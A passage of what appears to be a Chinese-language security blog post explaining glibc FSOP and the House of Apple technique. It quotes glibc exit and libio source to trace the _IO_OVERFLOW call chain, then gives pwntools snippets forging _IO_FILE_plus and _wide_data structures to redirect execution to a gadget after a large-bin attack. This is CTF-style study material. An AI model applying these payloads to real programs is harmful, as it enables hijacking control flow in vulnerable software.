class="title">wide_data</span>;</span></span><br><span class="line"> <span class="class"><span class="keyword">struct</span> _<span class="title">IO_FILE</span> *_<span class="title">freeres_list</span>;</span></span><br><span class="line"> <span class="type">void</span> *_freeres_buf;</span><br><span class="line"> <span class="type">size_t</span> __pad5;</span><br><span class="line"> <span class="type">int</span> _mode;</span><br><span class="line"> <span class="comment">/* Make sure we don't get into trouble again. */</span></span><br><span class="line"> <span class="type">char</span> _unused2[<span class="number">15</span> * <span class="keyword">sizeof</span> (<span class="type">int</span>) - <span class="number">4</span> * <span class="keyword">sizeof</span> (<span class="type">void</span> *) - <span class="keyword">sizeof</span> (<span class="type">size_t</span>)];</span><br><span class="line">};</span><br></pre></td></tr></tbody></table></figure><p>使用 gdb,可以得到其成员的相对偏移:</p><figure><img src="\glibcFSOP/Screenshot_20250331_190446.png" alt="img"><figcaption aria-hidden="true">img</figcaption></figure><h2 id="exit-调用过程">Exit () 调用过程</h2><h3 id="run_exit_handlers">__run_exit_handlers()</h3><p><code>exit()</code> 在 <code>/stdlib/exit.c</code> 有定义:</p><figure class="highlight c"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><stdio.h></span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><stdlib.h></span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><unistd.h></span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><pointer_guard.h></span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><libc-lock.h></span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><set-freeres.h></span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">"exit.h"</span></span></span><br><span class="line"></span><br><span class="line"><span class="comment">/* Initialize the flag that indicates exit function processing</span></span><br><span class="line"><span class="comment"> is complete. See concurrency notes in stdlib/exit.h where</span></span><br><span class="line"><span class="comment"> __exit_funcs_lock is declared. */</span></span><br><span class="line"><span class="type">bool</span> __exit_funcs_done = <span class="literal">false</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* Call all functions registered with `atexit' and `on_exit',</span></span><br><span class="line"><span class="comment"> in the reverse of the order in which they were registered</span></span><br><span class="line"><span class="comment"> perform stdio cleanup, and terminate program execution with STATUS. */</span></span><br><span class="line"><span class="type">void</span></span><br><span class="line">attribute_hidden</span><br><span class="line">__run_exit_handlers (<span class="type">int</span> status, <span class="keyword">struct</span> exit_function_list **listp,</span><br><span class="line"> <span class="type">bool</span> run_list_atexit, <span class="type">bool</span> run_dtors)</span><br><span class="line">{</span><br><span class="line"> <span class="comment">/* First, call the TLS destructors. */</span></span><br><span class="line"> <span class="keyword">if</span> (run_dtors)</span><br><span class="line"> call_function_static_weak (__call_tls_dtors);</span><br><span class="line"></span><br><span class="line"> __libc_lock_lock (__exit_funcs_lock);</span><br><span class="line"></span><br><span class="line"> <span class="comment">/* We do it this way to handle recursive calls to exit () made by</span></span><br><span class="line"><span class="comment"> the functions registered with `atexit' and `on_exit'. We call</span></span><br><span class="line"><span class="comment"> everyone on the list and use the status value in the last</span></span><br><span class="line"><span class="comment"> exit (). */</span></span><br><span class="line"> <span class="keyword">while</span> (<span class="literal">true</span>)</span><br><span class="line"> {</span><br><span class="line"> <span class="class"><span class="keyword">struct</span> <span class="title">exit_function_list</span> *<span class="title">cur</span>;</span></span><br><span class="line"></span><br><span class="line"> restart:</span><br><span class="line"> cur = *listp;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (cur == <span class="literal">NULL</span>)</span><br><span class="line"> {</span><br><span class="line"> <span class="comment">/* Exit processing complete. We will not allow any more</span></span><br><span class="line"><span class="comment"> atexit/on_exit registrations. */</span></span><br><span class="line"> __exit_funcs_done = <span class="literal">true</span>;</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">while</span> (cur->idx > <span class="number">0</span>)</span><br><span class="line"> {</span><br><span class="line"> <span class="class"><span class="keyword">struct</span> <span class="title">exit_function</span> *<span class="title">const</span> <span class="title">f</span> =</span> &cur->fns[--cur->idx];</span><br><span class="line"> <span class="type">const</span> <span class="type">uint64_t</span> new_exitfn_called = __new_exitfn_called;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">switch</span> (f->flavor)</span><br><span class="line"> {</span><br><span class="line"> <span class="type">void</span> (*atfct) (<span class="type">void</span>);</span><br><span class="line"> <span class="type">void</span> (*onfct) (<span class="type">int</span> status, <span class="type">void</span> *arg);</span><br><span class="line"> <span class="type">void</span> (*cxafct) (<span class="type">void</span> *arg, <span class="type">int</span> status);</span><br><span class="line"> <span class="type">void</span> *arg;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">case</span> ef_free:</span><br><span class="line"> <span class="keyword">case</span> ef_us:</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> <span class="keyword">case</span> ef_on:</span><br><span class="line"> onfct = f->func.on.fn;</span><br><span class="line"> arg = f->func.on.arg;</span><br><span class="line"> PTR_DEMANGLE (onfct);</span><br><span class="line"></span><br><span class="line"> <span class="comment">/* Unlock the list while we call a foreign function. */</span></span><br><span class="line"> __libc_lock_unlock (__exit_funcs_lock);</span><br><span class="line"> onfct (status, arg);</span><br><span class="line"> __libc_lock_lock (__exit_funcs_lock);</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> <span class="keyword">case</span> ef_at:</span><br><span class="line"> atfct = f->func.at;</span><br><span class="line"> PTR_DEMANGLE (atfct);</span><br><span class="line"></span><br><span class="line"> <span class="comment">/* Unlock the list while we call a foreign function. */</span></span><br><span class="line"> __libc_lock_unlock (__exit_funcs_lock);</span><br><span class="line"> atfct ();</span><br><span class="line"> __libc_lock_lock (__exit_funcs_lock);</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> <span class="keyword">case</span> ef_cxa:</span><br><span class="line"> <span class="comment">/* To avoid dlclose/exit race calling cxafct twice (BZ 22180),</span></span><br><span class="line"><span class="comment"> we must mark this function as ef_free. */</span></span><br><span class="line"> f->flavor = ef_free;</span><br><span class="line"> cxafct = f->func.cxa.fn;</span><br><span class="line"> arg = f->func.cxa.arg;</span><br><span class="line"> PTR_DEMANGLE (cxafct);</span><br><span class="line"></span><br><span class="line"> <span class="comment">/* Unlock the list while we call a foreign function. */</span></span><br><span class="line"> __libc_lock_unlock (__exit_funcs_lock);</span><br><span class="line"> cxafct (arg, status);</span><br><span class="line"> __libc_lock_lock (__exit_funcs_lock);</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (__glibc_unlikely (new_exitfn_called != __new_exitfn_called))</span><br><span class="line"> <span class="comment">/* The last exit function, or another thread, has registered</span></span><br><span class="line"><span class="comment"> more exit functions. Start the loop over. */</span></span><br><span class="line"> <span class="keyword">goto</span> restart;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> *listp = cur->next;</span><br><span class="line"> <span class="keyword">if</span> (*listp != <span class="literal">NULL</span>)</span><br><span class="line"> <span class="comment">/* Don't free the last element in the chain, this is the statically</span></span><br><span class="line"><span class="comment"> allocate element. */</span></span><br><span class="line"> <span class="built_in">free</span> (cur);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> __libc_lock_unlock (__exit_funcs_lock);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (run_list_atexit)</span><br><span class="line"> call_function_static_weak (_IO_cleanup);</span><br><span class="line"></span><br><span class="line"> _exit (status);</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="type">void</span></span><br><span class="line"><span class="title function_">exit</span> <span class="params">(<span class="type">int</span> status)</span></span><br><span class="line">{</span><br><span class="line"> __run_exit_handlers (status, &__exit_funcs, <span class="literal">true</span>, <span class="literal">true</span>);</span><br><span class="line">}</span><br><span class="line">libc_hidden_def (<span class="built_in">exit</span>)</span><br><span class="line"></span><br></pre></td></tr></tbody></table></figure><h3 id="io_cleanup">_IO_cleanup()</h3><p>在<code>__run_exit_handlers</code> 中调用了<code>_IO_cleanup</code>,它在 <code>/libio/genops.c</code> 中有定义:</p><figure class="highlight c"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">int</span></span><br><span class="line">_IO_cleanup (<span class="type">void</span>)</span><br><span class="line">{</span><br><span class="line"> <span class="type">int</span> result = _IO_flush_all ();</span><br><span class="line"></span><br><span class="line"> <span class="comment">/* We currently don't have a reliable mechanism for making sure that</span></span><br><span class="line"><span class="comment"> C++ static destructors are executed in the correct order.</span></span><br><span class="line"><span class="comment"> So it is possible that other static destructors might want to</span></span><br><span class="line"><span class="comment"> write to cout - and they're supposed to be able to do so.</span></span><br><span class="line"><span class="comment"></span></span><br><span class="line"><span class="comment"> The following will make the standard streambufs be unbuffered,</span></span><br><span class="line"><span class="comment"> which forces any output from late destructors to be written out. */</span></span><br><span class="line"> _IO_unbuffer_all ();</span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> result;</span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><h3 id="io_flush_all">_IO_flush_all()</h3><p>同样在这个文件中,可以找到<code>_IO_flush_all</code>:</p><figure class="highlight c"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">int</span></span><br><span class="line">_IO_flush_all (<span class="type">void</span>)</span><br><span class="line">{</span><br><span class="line"> <span class="type">int</span> result = <span class="number">0</span>;</span><br><span class="line"> FILE *fp;</span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="keyword">ifdef</span> _IO_MTSAFE_IO</span></span><br><span class="line"> _IO_cleanup_region_start_noarg (flush_cleanup);</span><br><span class="line"> _IO_lock_lock (list_all_lock);</span><br><span class="line"><span class="meta">#<span class="keyword">endif</span></span></span><br><span class="line"></span><br><span class="line"> <span class="keyword">for</span> (fp = (FILE *) _IO_list_all; fp != <span class="literal">NULL</span>; fp = fp->_chain)</span><br><span class="line"> {</span><br><span class="line"> run_fp = fp;</span><br><span class="line"> _IO_flockfile (fp);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (((fp->_mode <= <span class="number">0</span> && fp->_IO_write_ptr > fp->_IO_write_base)</span><br><span class="line"> || (_IO_vtable_offset (fp) == <span class="number">0</span></span><br><span class="line"> && fp->_mode > <span class="number">0</span> && (fp->_wide_data->_IO_write_ptr</span><br><span class="line"> > fp->_wide_data->_IO_write_base))</span><br><span class="line"> )</span><br><span class="line"> && _IO_OVERFLOW (fp, EOF) == EOF)</span><br><span class="line"> result = EOF;</span><br><span class="line"></span><br><span class="line"> _IO_funlockfile (fp);</span><br><span class="line"> run_fp = <span class="literal">NULL</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="keyword">ifdef</span> _IO_MTSAFE_IO</span></span><br><span class="line"> _IO_lock_unlock (list_all_lock);</span><br><span class="line"> _IO_cleanup_region_end (<span class="number">0</span>);</span><br><span class="line"><span class="meta">#<span class="keyword">endif</span></span></span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> result;</span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><figure class="highlight c"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">void</span></span><br><span class="line">_cthreads_flockfile (FILE *fp)</span><br><span class="line">{</span><br><span class="line"> _IO_lock_lock (*fp->_lock);</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="comment">// ...</span></span><br><span class="line"></span><br><span class="line"><span class="type">void</span> _IO_flockfile (FILE *)</span><br><span class="line"> __attribute__ ((alias (<span class="string">"_cthreads_flockfile"</span>)));</span><br><span class="line"></span><br><span class="line"><span class="comment">// ...</span></span><br></pre></td></tr></tbody></table></figure><p><code>_IO_FILE_plus</code> 在 <code>/libio/stdfiles.c</code> 有定义</p><p>主要关注这个函数中的判断条件,如果前面的条件<strong>满足</strong>,会进入<code>_IO_OVERFLOW (fp, EOF)</code>,这是一个宏定义,位于 <code>/libio/libioP.h</code>:</p><figure class="highlight c"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* Type of MEMBER in struct type TYPE. */</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> _IO_MEMBER_TYPE(TYPE, MEMBER) __typeof__ (((TYPE){}).MEMBER)</span></span><br><span class="line"></span><br><span class="line"><span class="comment">/* Essentially ((TYPE *) THIS)->MEMBER, but avoiding the aliasing</span></span><br><span class="line"><span class="comment"> violation in case THIS has a different pointer type. */</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> _IO_CAST_FIELD_ACCESS(THIS, TYPE, MEMBER) \</span></span><br><span class="line"><span class="meta"> (*(_IO_MEMBER_TYPE (TYPE, MEMBER) *)(((char *) (THIS)) \</span></span><br><span class="line"><span class="meta"> + offsetof(TYPE, MEMBER)))</span></span><br><span class="line"><span class="comment">//...</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> _IO_JUMPS_FILE_plus(THIS) \</span></span><br><span class="line"><span class="meta"> _IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE_plus, vtable)</span></span><br><span class="line"><span class="comment">//...</span></span><br><span class="line"><span class="meta"># <span class="keyword">define</span> _IO_JUMPS_FUNC(THIS) \</span></span><br><span class="line"><span class="meta"> (IO_validate_vtable \</span></span><br><span class="line"><span class="meta"> (*(struct _IO_jump_t **) ((void +*) &_IO_JUMPS_FILE_plus (THIS) \</span></span><br><span class="line"><span class="meta"> + (THIS)->_vtable_offset)))</span></span><br><span class="line"><span class="comment">//...</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> JUMP1(FUNC, THIS, X1) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS, X1)</span></span><br><span class="line"><span class="comment">//...</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> _IO_OVERFLOW(FP, CH) JUMP1 (__overflow, FP, CH)</span></span><br><span class="line"><span class="comment">//...</span></span><br><span class="line">IO_validate_vtable (<span class="type">const</span> <span class="keyword">struct</span> _IO_jump_t *vtable)</span><br><span class="line">{</span><br><span class="line"> <span class="type">uintptr_t</span> ptr = (<span class="type">uintptr_t</span>) vtable;</span><br><span class="line"> <span class="type">uintptr_t</span> offset = ptr - (<span class="type">uintptr_t</span>) &__io_vtables;</span><br><span class="line"> <span class="keyword">if</span> (__glibc_unlikely (offset >= IO_VTABLES_LEN))</span><br><span class="line"> <span class="comment">/* The vtable pointer is not in the expected section. Use the</span></span><br><span class="line"><span class="comment"> slow path, which will terminate the process if necessary. */</span></span><br><span class="line"> _IO_vtable_check ();</span><br><span class="line"> <span class="keyword">return</span> vtable;</span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><p>如果通过<strong>合法性检查</strong>,那么会执行<code>_vtable->__overflow</code></p><figure class="highlight c"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">define</span> JUMP_FIELD(TYPE, NAME) TYPE NAME</span></span><br><span class="line"><span class="comment">//...</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> _<span class="title">IO_jump_t</span></span></span><br><span class="line"><span class="class">{</span></span><br><span class="line"><span class="comment">//...</span></span><br><span class="line"> JUMP_FIELD(_IO_overflow_t, __overflow);</span><br><span class="line"><span class="comment">//...</span></span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><p>这里<code>__overflow</code> 是<code>_IO_jump_t vtable</code> 中的虚函数,这是 GLIBC 中实现 I/O 多态的核心机制</p><h4 id="vtable2">vtable<a href="#fn2" class="footnote-ref" id="fnref2" role="doc-noteref"><sup>2</sup></a></h4><p>通过虚函数表(vtable)为不同类型的文件流(如文件、内存流、字符串流)提供统一的接口,同时允许不同流类型自定义底层操作(如读、写、缓冲区管理)。</p><p>我们可以在 <code>/libio/vtables.c</code> 中找到相关的定义。</p><figure class="highlight c"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">const</span> <span class="class"><span class="keyword">struct</span> _<span class="title">IO_jump_t</span> __<span class="title">io_vtables</span>[] <span class="title">attribute_relro</span> =</span></span><br><span class="line">{</span><br><span class="line"> <span class="comment">/* _IO_str_jumps */</span></span><br><span class="line"> [IO_STR_JUMPS] =</span><br><span class="line"> {</span><br><span class="line"> JUMP_INIT_DUMMY,</span><br><span class="line"> JUMP_INIT (finish, _IO_str_finish),</span><br><span class="line"> <span class="comment">//...</span></span><br><span class="line"> },</span><br><span class="line"> [IO_WSTR_JUMPS] = {</span><br><span class="line"> JUMP_INIT_DUMMY,</span><br><span class="line"> JUMP_INIT (finish, _IO_wstr_finish),</span><br><span class="line"> <span class="comment">//...</span></span><br><span class="line"> },</span><br><span class="line"> <span class="comment">//...</span></span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><p>也就是说,<code>__overflow</code>实际是执行<code>__io_vtables</code> 中已定义的相关函数。如 <code>finish</code>,会根据不同 I/O 类型执行不同函数,例如 <code>[IO_STR_JUMPS]</code> 中指向<code>_IO_str-finish</code>;<code>[IO_WSTR_JUMPS]</code> 中指向<code>_IO_wstr_finish</code>。</p><h1 id="iii.-house-of-apple">III. House of Apple</h1><p>在上一节中,我们知道在<code>_IO_JUMPS_FUNC(THIS)</code> 这个宏中验证了 <code>const struct _IO_jump_t *vtable</code> 是否是合法的:即它指向的地址是否在<code>__io_vtables</code> 的范围内。这也让我们不能通过直接伪造 <code>vtable</code> 来控制程序执行流。</p><p>然而,我们仍有机会修改 <code>vtable</code> 为不同的合法虚表。这导致了后续函数执行过程中存在可利用的漏洞。</p><h2 id="构造_io_file_plus">构造<code>_IO_FILE_plus</code></h2><p>使用 House of Apple 的前提是 Large binattack,它将一个堆地址写在任意地址处。</p><p>这里将 <code>&_IO_list_all</code> 处写可控堆地址,然后开始伪造<code>_IO_FILE_plus</code>。</p><p>由于 Large binattack 是把堆的头部 <code>prev_size</code> 地址写入,而一般我们只能从 <code>fd</code> 域开始编辑,所以下文的伪造会从 <code>fd</code> 开始。</p><figure class="highlight python"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">fake_io = flat({</span><br><span class="line"> <span class="number">0x18</span>:[</span><br><span class="line"> p64(<span class="number">1</span>) <span class="comment"># _IO_write_ptr [fp->_IO_write_ptr > fp->_IO_write_base]</span></span><br><span class="line"> ],</span><br><span class="line"> <span class="number">0x60</span>:[</span><br><span class="line"> p32(<span class="number">0</span>) <span class="comment"># _fileno</span></span><br><span class="line"> ],</span><br><span class="line"> <span class="number">0x78</span>:[</span><br><span class="line"> p64(_IO_stdfile_2_lock) <span class="comment"># *_lock [_IO_flockfile (fp);]</span></span><br><span class="line"> ],</span><br><span class="line"> <span class="number">0xb0</span>:[</span><br><span class="line"> p32(<span class="number">0xFFFFFFFF</span>) <span class="comment"># _mode [fp->_mode <= 0]</span></span><br><span class="line"> ]</span><br><span class="line">})</span><br></pre></td></tr></tbody></table></figure><h2 id="wide_data调用链"><code>_wide_data</code> 调用链</h2><p>尽管无法直接通过修改 <code>vtable</code> 控制执行流,但是<code>_wide_data->_wide_vtable</code> 在执行时缺少安全检查。</p><p>因此我们可以构造如下调用链,其中涉及到的方法和宏可自行查阅:</p><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">_IO_OVERFLOW (fp, EOF)-></span><br><span class="line">(_IO_overflow_t) _IO_wfile_overflow-></span><br><span class="line">_IO_wdoallocbuf (f)-></span><br><span class="line">_IO_WDOALLOCATE (fp)-></span><br><span class="line">Backdoor(fp) # fake vtable points at</span><br></pre></td></tr></tbody></table></figure><h2 id="构造_wide_data-_wide_vtable">构造<code>_wide_data</code>,<code>_wide_vtable</code></h2><p>为了使用上面的调用链,需要修改 <code>*_wide_data</code> 到我们伪造的<code>_IO_wide_data</code>。</p><p>这里有一个巧妙的处理,我们可以将其指向之前伪造的<code>_IO_FILE_plus</code> 处,因为<code>_IO_wide_data</code> 中部分成员是与<code>_IO_FILE</code> 相同的。</p><p>然后在<code>_wide_data->_wide_vtable</code> 处写构造的 vtable 地址。</p><p><img src="/glibcFSOP/image-20250408191324901.png"></p><p><img src="/glibcFSOP/image-20250408193602020.png"></p><figure class="highlight python"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line">_IO_stdfile_2_lock = libc_base + <span class="number">0x205700</span> <span class="comment"># find your offset in gdb</span></span><br><span class="line">IO_file_addr = heap_base + <span class="number">0x0d00</span></span><br><span class="line">IO_wide_data_addr = IO_file_addr</span><br><span class="line">wide_vtable_addr = file_addr + <span class="number">0xe8</span>-<span class="number">0x68</span> </span><br><span class="line"></span><br><span class="line">fake_io = flat({</span><br><span class="line"> <span class="number">0x18</span>:[</span><br><span class="line"> p64(<span class="number">1</span>) <span class="comment"># _IO_write_ptr [fp->_IO_write_ptr > fp->_IO_write_base]</span></span><br><span class="line"> ],</span><br><span class="line"> <span class="number">0x60</span>:[</span><br><span class="line"> p32(<span class="number">0</span>) <span class="comment"># _fileno</span></span><br><span class="line"> ],</span><br><span class="line"> <span class="number">0x78</span>:[</span><br><span class="line"> p64(_IO_stdfile_2_lock) <span class="comment"># *_lock [_IO_flockfile (fp);]</span></span><br><span class="line"> ],</span><br><span class="line"> <span class="number">0x90</span>:[</span><br><span class="line"> p64(IO_wide_data_addr) <span class="comment"># *_wide_data</span></span><br><span class="line"> ],</span><br><span class="line"> <span class="number">0xb0</span>:[</span><br><span class="line"> p32(<span class="number">0xFFFFFFFF</span>) <span class="comment"># _mode [fp->_mode <= 0]</span></span><br><span class="line"> ],</span><br><span class="line"> <span class="number">0xc8</span>:[</span><br><span class="line"> p64(libc_base+libc.sym[<span class="string">'_IO_wfile_jumps'</span>]) <span class="comment"># vtable</span></span><br><span class="line"> ],</span><br><span class="line"> <span class="number">0xd0</span>:[</span><br><span class="line"> p64(wide_vtable_addr)</span><br><span class="line"> ],</span><br><span class="line"> <span class="number">0xd8</span>:[</span><br><span class="line"> p64(gadget)</span><br><span class="line"> ]</span><br><span class="line">})</span><br></pre></td></tr></tbody></table></figure><p>这样,就控制了程序执行流,并且 <code>$rdi = &fp</code>。</p><p>对于 House of Apple 的实践,您也可以阅读我的这篇文章:<a href="https://summ2.link/2025/02/18/2025218-HGAME-2025-Week-2-Writeup/#where-is-the-vulnerability">HGAME2025 Week 2 Writeup</a></p><h1 id="references">References</h1><section id="footnotes" class="footnotes footnotes-end-of-document" role="doc-endnotes"><hr><ol><li id="fn1"><p><a href="https://bbs.kanxue.com/thread-273832.htm">看雪:House of apple一种新的 glibc 中 IO 攻击方法</a><a href="#fnref1" class="footnote-back" role="doc-backlink">↩︎</a></p></li><li id="fn2"><p><a href="https://bbs.kanxue.com/thread-274625.htm">看雪:Pwn 堆利用学习 ——FSOP、House of Orange</a><a href="#fnref2" class="footnote-back" role="doc-backlink">↩︎</a></p></li></ol></section>]]></content>
<summary type="html"><h1 id="i.-fsop">I. FSOP</h1>
<blockquote>
<p>FSOP 是 File Stream Oriented Programming 的缩写。</p>
<p>FSOP 的核心思想就是劫持
